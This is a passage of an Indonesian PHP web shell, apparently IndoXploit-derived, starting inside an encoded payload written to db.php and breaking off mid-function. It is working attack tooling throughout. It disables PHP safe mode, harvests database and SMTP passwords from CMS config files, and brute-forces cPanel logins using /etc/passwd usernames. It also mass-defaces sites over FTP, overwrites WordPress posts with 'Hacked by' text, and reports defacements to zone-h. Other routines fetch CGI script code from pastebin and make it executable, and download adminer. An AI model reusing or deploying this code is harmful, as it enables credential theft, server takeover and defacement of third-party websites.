1aFZGQ29ZQjBQMDhtdzNHNHBnZTZMNW9zbkw1NjJYbTdLTngza29USTVaQ1hRaGdVa2ZvRUV6Q1BNYTRvR1dObS9qdXhwWk9GOSt2TFppK2QzSWlXSUlzYjNxekIrb1kxbHJmdDlsSHUvVngzNzAyK0VlSE9UeXZsdEpqWVdLa2FTUTE4Yy9YYjBuOEZDUHFCWHdkTk1EcUZSWE9aeVVLS0N1UGFERk5LdkN3YlArWi9qYUw2STZhVUdBa08vQmxUaEpUeSttdWhRY0tNZElNYWFvUGR2OE9veGhTd0VNU3BjMENYMTRDeVdkT2tzVmF6M3hLOSsrZzR5OXlHVDYzYzJOdGJXMThUNitzK1BmMjYxbWkwNytFY2pKbDJqMjBOTlEyZWVEYnBLdEgrcXEvZGdFZU5heTRyeHF6N3k1NHRVdGZYeDQrcWpYUE1oSy9NNk0yWFdRTStDRDlsQzdvL0tZcllvWnNqcHF4cFY2elZybjFmMVFEK3ZiZFFzZXByWkZGQnMxcFFmTXdTRFNKZ2lrTXV4bTFNYzJOaERvRW1kRHBod2J0allPdW9KSklLNWMvd0tiNUpuM2dKWG8rZE5KdStveGJJUmRaR0J1eldSM09zOW1JZ1VHaUtyVWs4UnFNREcyNnlva3R4ZUtab0tNd2lmZzBxOU5CaURabWk2cUlmUHVwbUVHeDd5TlZ1bUxrelFFUjBzWFI4UGN4RGdvcVlsRXBZOTZvSTZRd2FMU2pWY0hyQXVJaE80dHphNHNDTWZ2ZU5Xb0kwdW1aSnBQSm5qRlE4bWNtV3F1VWZqcGVnWEZIblAzbXhvdmVPNUtkaU1ndjZ4NDQ2b2RBenJBaHRSWG9xdldtdUlybkQ2MTgrYS9ldW5vLzUxOHhuOC94eitiOXIvTzZwaU5Kc01wVnRieU5nbmE0U1dZWEM5dVJNbHAyZzhWekFsemVhbWRQRkRTbW43ZGprQnZFSnhnNmZqb0xxMjliZUdNdGZTRkpJejl3WSszQUVlVWZ6OVpaNkVMcVdHSWtBbld6ekhRM0xKbmxhK2JPTGQ2S3E1c2d2WWJoTXFWTEZmVnIwZ1hLTGtIcFNVc1gxdnltN0Z4b1pBajE0d05WcElXZmZXWmZlMnRzVG1zNXI0SzhzRDdnYVd0WXBsM0Ewb2JNR205OWRQUDFiTE9vTEZKWFYxVjZDOFNOYjBwdGNUcmVJT3J3VUdUbE5VZjltTXo4NEhLWHRXYXY5S0NrMWt0UW1vVS81MVZTNnA3R3lqT2NKMzlQMXJxdkFEL3RHV2F4YzJWRVp3OW54Z3ZsOE1mdnF4a1N0L2FwVS9LeW5mdE1xZmxKUTNyZklXUFVXT3J6UzR1a0c0MGdoY1p3QUdweU9EbWVNZnNndnhDZnovMUpGRkRTcHJQVldMMGVTWkJXcmx2Y3psYVlwOFdSb0dhY2d4eW5yN2hGSGlUU2JHUHo0RFA1OXNXcmwveWtmOWpLNWdWOG5oK3JOUVRXN1hhdGYraytkRXM1NnJBalA5YWEwT3RnODNITjJhQzI5OFdYWC9pYk1CMnJTaUFPbVhGOG1PRmdvL3VZYTIzakVMRUUwcnQ2TGViWkZKYXZIL1JUdXRUVmRLZUk2MG5NWmtPZnBYUTMyUUxIdWc3VDI2QWt4TFE5YXNxZmRGSnJFL3pzbjVGdnkvU1ZPRVN3dXp5YzYySnQ0OW9LM3BwN1B0R1doeVM5aFdXcVk1VjFacUQzS3V2RERPWWhWVTgvK2hCRnY3WkhObGtSNTNhNVBOS0dGV1BrNUlQUld5akZZVFZkVlMrenhQSTRJckduQ2tvK2s0Wk43NEN2UEttcFBjQjhETUNrUXBxQ0pzK3hMNFQ3NElYYlZod0RNNlNjTWVRRkJ1OGNTamdMZDJiN0FmREpmVmRKQXRzSkRZcFNTUHNDZ3p5MHRjQ3RuM1NPa1h2VVhhVmZvSUJiY3U2Y1pCK2Q5WWtUSFUvUHlzQlk5cktmUFhWbVFrZVZWQ1RqRUNnQzZYZEZ2Nk5reGlSYlRMUDVKaTNYUjE3R3ZDQkY4ZWw4Nm9hdGJMdG9aWXZsdll6THA2c3RmNmd5TzZjVTExelROVEJXWVlrem1qeTVBRGxjS3JsUU5IdmZva1RUZ3VjdVFWYlVmOUVhRWN4cDNkZDlzZjlrK0ZLK0VsK01CMXJDdG5YQ1N2anFNMzBQa0QzK1FwdzZmK2drMUpkWGtGbk9xWFY1YVFCRGd3Y3djOUpaSzdNdnpLSHJIZmQvOVlQVjRjcWxVeVdvaEVjdVNTVG9Fd2g2NjlEL2tQcWlqTitWSzlvKzhjSGUrOTN6Nyt3eUdqaHFBUG9uQUlDdFhIcGM4UldVMGJvZlBoWU84ZkgzYi80cVRtaDIxU0IvaFd6eGtEcVBISjVHV01rTnQ4S1FzbmFzbmJhTGFjaDZicGttdlVTOXJPK0J4MFJwYlVwWG9taWlvbE5icWRLWjlYQmZTMU8yWXIxc0hhU1ZkSkw0V2w3dFFkOHl5N1pGdlhZbHZwaUFzaGkzRVlSVldqcjJXWGh1Mlo1dFkzNjgvcDZxVGtzbU56UGd2NW9yWnFMU0ZKMmRBOFpmV1VaclpPSC9iTGZzaWNzQitFbmw3RlFVcUhxblZUSTNzUmxuMmF1bEQvbVRoNUUyWEZMWHRIZWI2MW5DcTVzZ2NZN3ZlU0FRS1dDTmppUzhEeTdkK3F3NW9RVVNMWGpSOTMxMXNsY2xUU1hsdkx3RzZabHQ5SEtqYTZlSmp6SlpFbzBjZ24wdkJtZUlabXVaalRFc2xnemdLNGpyclZtNHk5aGErUDNFcnd5d3R4dDJXVHF0YjVmcE5ETG1FMXZDdFE0bkZiQ1RKSFA4eWUxVm1XVUFzZk56YWU2aVh1M1J3bGdBVUZMV2VoSzBpM2ZCbzNIT3ZaZHcyWWp1alZRQk9IZi8rL0hQRjB4WFdsMnd4NmpteituTGwxN2hZYnJPT3EyWHptT05pdTY5Ymt0WEdPSnFMWDdpdnkrZno4VS9neXVydVNmMitmUGlpVzJ5bW55eSt6VnJ6NDNFanVHaC9YbnAveEs2OGtzKzFrRHhUZlY4S1JRZWhVaE4rRHZ1UGdoWGFaRHd5RWpJNUM1Y3U5Vk9GUzZWZTVkRnY5QVF2S3BXZGdCN1IvMldrdytURkF4TlhZK1NrN2cxMmxYMlhUZER5REx6d29NbHpLYjh1YTJpcjlLcGR1NHhNTHdDOGRhMFdsNnIyNmdYWFBuMHFJNkNBWG5FOGxsQmhZNDRhWnRFT3FQMnVReWRIRGlabVVHSmc1d0tSUW40SThNeGo4U1Z3ZFVDaS9mRHZBZnFIQitiZHJwbE1hNDJNOVhWaWNxV1lnOU1PRDh2RVNsY2Jwb3I3cFZsWU91dUU2S3BMMElaTkp6YUhTbVpCNWo5RG1zOWhTZjFJd2QwdWt5TTh5cnV0TzlaeWl2NS83eFM4MERvcFJIVmFoZGVrNjk0ZDdlYUdyWngwSFhWSXo5Y3ptK21ha29ReXZvMGh3aVd4cmc4RktKbHc1Z3ZKNjZqKzZSOElrVEtkTEdhN2VUYk9sc0g0Y05qZHorSS9zRUJhT0w3WEZqTTZCbWJQUWYyMkhpdVM5VWd0WTUrRFJuaitiR3FGRWZ5ekNua2dxQTZTbi9Fc1NhbUZRU2twUVd3Q3lmbXlJeVRTMEN6dldjdVU5RzRxVHZkOHFsZkd6TXBkVG1DK2piR1UrcC9SYWxlM0w4MSt1QkR0Z1N5MHZMWEZMSG9VcVc5OG96MHRXdDJRRDN1S3kyU0RUZU9taWFaZ1YwMjAvQXlYVFhiSDU3SnQzaXFKY3p6MEcxS2ZYZ082OWtMRUhXczdDTitaaGUxVWVmbXYyczN6c1dZSTE4eXpRb214M1YzZXhNSlpOdjhqUExOVi9Qa0RseTFmV3pTdVJoVWQ1MkVDRXdlV1FkZGxMbmU2dmVPWHdoSlBtU2NQY0M0VGxUVFk2MHlySUJYVEtzMjkxTFdLZndpNFdvQVduUXlxMTdscXBVa0x5dnk1QjhBdz0iKSkpOyA/Pg==";
  1565.         file_put_contents("db.php",base64_decode($script));
  1566.          echo "<script>alert('done! check db.php'); hideAll();</script>";
  1567.         echo "<p><center><font color=green>Check = >> <a href='db.php' target=_blank><b>db.php</b></a></font></center>
  1568.  
  1569.         </div><br><br> ";
  1570.         die();
  1571.         }
  1572. //create php.ini for safe mode
  1573.         elseif ( $pilih == 'phini') {
  1574.         $byht = "safe_mode = Off
  1575.         disable_functions = None
  1576.         safe_mode_gid = OFF
  1577.         open_basedir = OFF
  1578.         allow_url_fopen = On
  1579.         code by = zakir dot id";
  1580.         file_put_contents("php.ini",$byht);
  1581.         echo "<script>alert('php.ini Created'); hideAll();</script>";
  1582.         echo "
  1583.         </div><br><br><center></center><b>
  1584.         <br><center></center> ";
  1585.    
  1586.         die();
  1587.         }
  1588. }
  1589. } elseif($_GET['do'] == 'cpanel') {
  1590.     if($_POST['crack']) {
  1591.         $usercp = explode("\r\n", $_POST['user_cp']);
  1592.         $passcp = explode("\r\n", $_POST['pass_cp']);
  1593.         $i = 0;
  1594.         foreach($usercp as $ucp) {
  1595.             foreach($passcp as $pcp) {
  1596.                 if(@mysql_connect('localhost', $ucp, $pcp)) {
  1597.                     if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  1598.                     } else {
  1599.                         $_SESSION[$ucp] = "1";
  1600.                         $_SESSION[$pcp] = "1";
  1601.                         if($ucp == '' || $pcp == '') {
  1602.                            
  1603.                         } else {
  1604.                             $i++;
  1605.                             if(function_exists('posix_getpwuid')) {
  1606.                                 $domain_cp = file_get_contents("/etc/named.conf"); 
  1607.                                 if($domain_cp == '') {
  1608.                                     $dom =  "<font color=red>gabisa ambil nama domain nya</font>";
  1609.                                 } else {
  1610.                                     preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
  1611.                                     foreach($domains_cp[1] as $dj) {
  1612.                                         $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1613.                                         $user_cp_url = $user_cp_url['name'];
  1614.                                         if($user_cp_url == $ucp) {
  1615.                                             $dom = "<a href='http://$dj/' target='_blank'><font color=lime>$dj</font></a>";
  1616.                                             break;
  1617.                                         }
  1618.                                     }
  1619.                                 }
  1620.                             } else {
  1621.                                 $dom = "<font color=red>function is Disable by system</font>";
  1622.                             }
  1623.                             echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>) domain ($dom)<br>";
  1624.                         }
  1625.                     }
  1626.                 }
  1627.             }
  1628.         }
  1629.         if($i == 0) {
  1630.         } else {
  1631.             echo "<br>sukses nyolong ".$i." Cpanel by <font color=lime>99Syndicate</font>";
  1632.         }
  1633.     } else {
  1634.         echo "<center>
  1635.         <form method='post'>
  1636.         USER: <br>
  1637.         <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  1638.         $_usercp = fopen("/etc/passwd","r");
  1639.         while($getu = fgets($_usercp)) {
  1640.             if($getu == '' || !$_usercp) {
  1641.                 echo "<font color=red>Can't read /etc/passwd</font>";
  1642.             } else {
  1643.                 preg_match_all("/(.*?):x:/", $getu, $u);
  1644.                 foreach($u[1] as $user_cp) {
  1645.                         if(is_dir("/home/$user_cp/public_html")) {
  1646.                             echo "$user_cp\n";
  1647.                     }
  1648.                 }
  1649.             }
  1650.         }
  1651.         echo "</textarea><br>
  1652.         PASS: <br>
  1653.         <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  1654.         function cp_pass($dir) {
  1655.             $pass = "";
  1656.             $dira = scandir($dir);
  1657.             foreach($dira as $dirb) {
  1658.                 if(!is_file("$dir/$dirb")) continue;
  1659.                 $ambil = file_get_contents("$dir/$dirb");
  1660.                 if(preg_match("/WordPress/", $ambil)) {
  1661.                     $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  1662.                 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  1663.                     $pass .= ambilkata($ambil,"password = '","'")."\n";
  1664.                 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  1665.                     $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  1666.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  1667.                     $pass .= ambilkata($ambil,'password = "','"')."\n";
  1668.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  1669.                     $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  1670.                 } elseif(preg_match("/^[client]$/", $ambil)) {
  1671.                     preg_match("/password=(.*?)/", $ambil, $pass1);
  1672.                     if(preg_match('/"/', $pass1[1])) {
  1673.                         $pass1[1] = str_replace('"', "", $pass1[1]);
  1674.                         $pass .= $pass1[1]."\n";
  1675.                     } else {
  1676.                         $pass .= $pass1[1]."\n";
  1677.                     }
  1678.                 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  1679.                     $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  1680.                 }
  1681.             }
  1682.             echo $pass;
  1683.         }
  1684.         $cp_pass = cp_pass($dir);
  1685.         echo $cp_pass;
  1686.         echo "</textarea><br>
  1687.         <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  1688.         </form>
  1689.         <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  1690.     }
  1691. } elseif($_GET['do'] == 'cpftp_auto') {
  1692.     if($_POST['crack']) {
  1693.         $usercp = explode("\r\n", $_POST['user_cp']);
  1694.         $passcp = explode("\r\n", $_POST['pass_cp']);
  1695.         $i = 0;
  1696.         foreach($usercp as $ucp) {
  1697.             foreach($passcp as $pcp) {
  1698.                 if(@mysql_connect('localhost', $ucp, $pcp)) {
  1699.                     if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  1700.                     } else {
  1701.                         $_SESSION[$ucp] = "1";
  1702.                         $_SESSION[$pcp] = "1";
  1703.                         if($ucp == '' || $pcp == '') {
  1704.                             //
  1705.                         } else {
  1706.                             echo "[+] username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  1707.                             $ftp_conn = ftp_connect($ip);
  1708.                             $ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
  1709.                             if((!$ftp_login) || (!$ftp_conn)) {
  1710.                                 echo "[+] <font color=red>Login Gagal</font><br><br>";
  1711.                             } else {
  1712.                                 echo "[+] <font color=lime>Login Sukses</font><br>";
  1713.                                 $fi = htmlspecialchars($_POST['file_deface']);
  1714.                                 $deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
  1715.                                 if($deface) {
  1716.                                     $i++;
  1717.                                     echo "[+] <font color=lime>Deface Sukses</font><br>";
  1718.                                     if(function_exists('posix_getpwuid')) {
  1719.                                         $domain_cp = file_get_contents("/etc/named.conf"); 
  1720.                                         if($domain_cp == '') {
  1721.                                             echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
  1722.                                         } else {
  1723.                                             preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
  1724.                                             foreach($domains_cp[1] as $dj) {
  1725.                                                 $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1726.                                                 $user_cp_url = $user_cp_url['name'];
  1727.                                                 if($user_cp_url == $ucp) {
  1728.                                                     echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
  1729.                                                     break;
  1730.                                                 }
  1731.                                             }
  1732.                                         }
  1733.                                     } else {
  1734.                                         echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
  1735.                                     }
  1736.                                 } else {
  1737.                                     echo "[-] <font color=red>Deface Gagal</font><br><br>";
  1738.                                 }
  1739.                             }
  1740.                             //echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  1741.                         }
  1742.                     }
  1743.                 }
  1744.             }
  1745.         }
  1746.         if($i == 0) {
  1747.         } else {
  1748.             echo "<br>sukses deface ".$i." Cpanel by <font color=lime>99Syndicate</font>";
  1749.         }
  1750.     } else {
  1751.         echo "<center>
  1752.         <form method='post'>
  1753.         Filename: <br>
  1754.         <input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
  1755.         Deface Page: <br>
  1756.         <input type='text' name='deface' placeholder='http://www.web-yang-udah-di-deface.com/filemu.php' style='width: 450px;'><br>
  1757.         USER: <br>
  1758.         <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  1759.         $_usercp = fopen("/etc/passwd","r");
  1760.         while($getu = fgets($_usercp)) {
  1761.             if($getu == '' || !$_usercp) {
  1762.                 echo "<font color=red>Can't read /etc/passwd</font>";
  1763.             } else {
  1764.                 preg_match_all("/(.*?):x:/", $getu, $u);
  1765.                 foreach($u[1] as $user_cp) {
  1766.                         if(is_dir("/home/$user_cp/public_html")) {
  1767.                             echo "$user_cp\n";
  1768.                     }
  1769.                 }
  1770.             }
  1771.         }
  1772.         echo "</textarea><br>
  1773.         PASS: <br>
  1774.         <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  1775.         function cp_pass($dir) {
  1776.             $pass = "";
  1777.             $dira = scandir($dir);
  1778.             foreach($dira as $dirb) {
  1779.                 if(!is_file("$dir/$dirb")) continue;
  1780.                 $ambil = file_get_contents("$dir/$dirb");
  1781.                 if(preg_match("/WordPress/", $ambil)) {
  1782.                     $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  1783.                 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  1784.                     $pass .= ambilkata($ambil,"password = '","'")."\n";
  1785.                 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  1786.                     $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  1787.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  1788.                     $pass .= ambilkata($ambil,'password = "','"')."\n";
  1789.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  1790.                     $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  1791.                 } elseif(preg_match("/client/", $ambil)) {
  1792.                     preg_match("/password=(.*)/", $ambil, $pass1);
  1793.                     if(preg_match('/"/', $pass1[1])) {
  1794.                         $pass1[1] = str_replace('"', "", $pass1[1]);
  1795.                         $pass .= $pass1[1]."\n";
  1796.                     }
  1797.                 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  1798.                     $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  1799.                 }
  1800.             }
  1801.             echo $pass;
  1802.         }
  1803.         $cp_pass = cp_pass($dir);
  1804.         echo $cp_pass;
  1805.         echo "</textarea><br>
  1806.         <input type='submit' name='crack' style='width: 450px;' value='Hajar'>
  1807.         </form>
  1808.         <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  1809.     }
  1810. } elseif($_GET['do'] == 'smtp') {
  1811.     echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
  1812.     function scj($dir) {
  1813.         $dira = scandir($dir);
  1814.         foreach($dira as $dirb) {
  1815.             if(!is_file("$dir/$dirb")) continue;
  1816.             $ambil = file_get_contents("$dir/$dirb");
  1817.             $ambil = str_replace("$", "", $ambil);
  1818.             if(preg_match("/JConfig|joomla/", $ambil)) {
  1819.                 $smtp_host = ambilkata($ambil,"smtphost = '","'");
  1820.                 $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
  1821.                 $smtp_user = ambilkata($ambil,"smtpuser = '","'");
  1822.                 $smtp_pass = ambilkata($ambil,"smtppass = '","'");
  1823.                 $smtp_port = ambilkata($ambil,"smtpport = '","'");
  1824.                 $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
  1825.                 echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
  1826.                 echo "SMTP port: <font color=lime>$smtp_port</font><br>";
  1827.                 echo "SMTP user: <font color=lime>$smtp_user</font><br>";
  1828.                 echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
  1829.                 echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
  1830.                 echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
  1831.             }
  1832.         }
  1833.     }
  1834.     $smpt_hunter = scj($dir);
  1835.     echo $smpt_hunter;
  1836. } elseif($_GET['do'] == 'auto_wp') {
  1837.     if($_POST['hajar']) {
  1838.         $title = htmlspecialchars($_POST['new_title']);
  1839.         $pn_title = str_replace(" ", "-", $title);
  1840.         if($_POST['cek_edit'] == "Y") {
  1841.             $script = $_POST['edit_content'];
  1842.         } else {
  1843.             $script = $title;
  1844.         }
  1845.         $conf = $_POST['config_dir'];
  1846.         $scan_conf = scandir($conf);
  1847.         foreach($scan_conf as $file_conf) {
  1848.             if(!is_file("$conf/$file_conf")) continue;
  1849.             $config = file_get_contents("$conf/$file_conf");
  1850.             if(preg_match("/WordPress/", $config)) {
  1851.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  1852.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  1853.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1854.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  1855.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1856.                 $prefix = $dbprefix."posts";
  1857.                 $option = $dbprefix."options";
  1858.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1859.                 $db = mysql_select_db($dbname);
  1860.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  1861.                 $result = mysql_fetch_array($q);
  1862.                 $id = $result[ID];
  1863.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1864.                 $result2 = mysql_fetch_array($q2);
  1865.                 $target = $result2[option_value];
  1866.                 $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
  1867.                 $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
  1868.                 echo "<div style='margin: 5px auto;'>";
  1869.                 if($target == '') {
  1870.                     echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
  1871.                 } else {
  1872.                     echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
  1873.                 }
  1874.                 if(!$update OR !$conn OR !$db) {
  1875.                     echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
  1876.                 } else {
  1877.                     echo "<font color=lime>sukses di ganti.</font><br>";
  1878.                 }
  1879.                 echo "</div>";
  1880.                 mysql_close($conn);
  1881.             }
  1882.         }
  1883.     } else {
  1884.         echo "<center>
  1885.         <h1>Auto Edit Title+Content WordPress</h1>
  1886.         <form method='post'>
  1887.         DIR Config: <br>
  1888.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1889.         Set Title: <br>
  1890.         <input type='text' name='new_title' value='Hacked by s3cre3t' placeholder='New Title'><br><br>
  1891.         Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
  1892.         <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
  1893.         <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
  1894.         <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
  1895.         </form>
  1896.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1897.         ";
  1898.     }
  1899. } elseif($_GET['do'] == 'zoneh') {
  1900.     if($_POST['submit']) {
  1901.         $domain = explode("\r\n", $_POST['url']);
  1902.         $nick =  $_POST['nick'];
  1903.         echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  1904.         echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  1905.         function zoneh($url,$nick) {
  1906.             $ch = curl_init("http://www.zone-h.com/notify/single");
  1907.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1908.                   curl_setopt($ch, CURLOPT_POST, true);
  1909.                   curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  1910.             return curl_exec($ch);
  1911.                   curl_close($ch);
  1912.         }
  1913.         foreach($domain as $url) {
  1914.             $zoneh = zoneh($url,$nick);
  1915.             if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  1916.                 echo "$url -> <font color=lime>OK</font><br>";
  1917.             } else {
  1918.                 echo "$url -> <font color=red>ERROR</font><br>";
  1919.             }
  1920.         }
  1921.     } else {
  1922.         echo "<center><form method='post'>
  1923.         <u>Defacer</u>: <br>
  1924.         <input type='text' name='nick' size='50' value='IndoXploit'><br>
  1925.         <u>Domains</u>: <br>
  1926.         <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  1927.         <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  1928.         </form>";
  1929.     }
  1930.     echo "</center>";
  1931. } elseif($_GET['do'] == 'cgi') {
  1932.     $cgi_dir = mkdir('idx_cgi', 0755);
  1933.     $file_cgi = "idx_cgi/cgi.izo";
  1934.     $isi_htcgi = "AddHandler cgi-script .izo";
  1935.     $htcgi = fopen(".htaccess", "w");
  1936.     $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
  1937.     $cgi = fopen($file_cgi, "w");
  1938.     fwrite($cgi, $cgi_script);
  1939.     fwrite($htcgi, $isi_htcgi);
  1940.     chmod($file_cgi, 0755);
  1941.     echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
  1942. } elseif($_GET['do'] == 'fake_root') {
  1943.     ob_start();
  1944.     $cwd = getcwd();
  1945.     $ambil_user = explode("/", $cwd);
  1946.     $user = $ambil_user[2];
  1947.     if($_POST['reverse']) {
  1948.         $site = explode("\r\n", $_POST['url']);
  1949.         $file = $_POST['file'];
  1950.         foreach($site as $url) {
  1951.             $cek = getsource("$url/~$user/$file");
  1952.             if(preg_match("/hacked/i", $cek)) {
  1953.                 echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
  1954.             }
  1955.         }
  1956.     } else {
  1957.         echo "<center><form method='post'>
  1958.         Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
  1959.         User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
  1960.         Domain: <br>
  1961.         <textarea style='width: 450px; height: 250px;' name='url'>";
  1962.         reverse($_SERVER['HTTP_HOST']);
  1963.         echo "</textarea><br>
  1964.         <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
  1965.         </form><br>
  1966.         NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
  1967.     }
  1968. } elseif($_GET['do'] == 'adminer') {
  1969.     $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  1970.     function adminer($url, $isi) {
  1971.         $fp = fopen($isi, "w");
  1972.         $ch = curl_init();
  1973.               curl_setopt($ch, CURLOPT_URL, $url);
  1974.               curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  1975.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1976.               curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  1977.               curl_setopt($ch, CURLOPT_FILE, $fp);
  1978.         return curl_exec($ch);
  1979.               curl_close($ch);
  1980.         fclose($fp);
  1981.         ob_flush();
  1982.         flush();
  1983.     }
  1984.     if(file_exists('adminer.php')) {
  1985.         echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1986.     } else {
  1987.         if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
  1988.             echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1989.         } else {
  1990.             echo "<center><font color=red>gagal buat file adminer</font></center>";
  1991.         }
  1992.     }
  1993. } elseif($_GET['do'] == 'auto_dwp') {
  1994.     if($_POST['auto_deface_wp']) {
  1995.         function anucurl($sites) {
  1996.             $ch = curl_init($sites);
  1997.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1998.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1999.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2000.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  2001.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2002.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2003.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2004.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2005.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2006.             $data = curl_exec($ch);
  2007.                   curl_close($ch);
  2008.             return $data;
  2009.         }
  2010.         function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  2011.             $post = array(
  2012.                    "log" => "$userr",
  2013.                    "pwd" => "$pass",
  2014.                    "rememberme" => "forever",
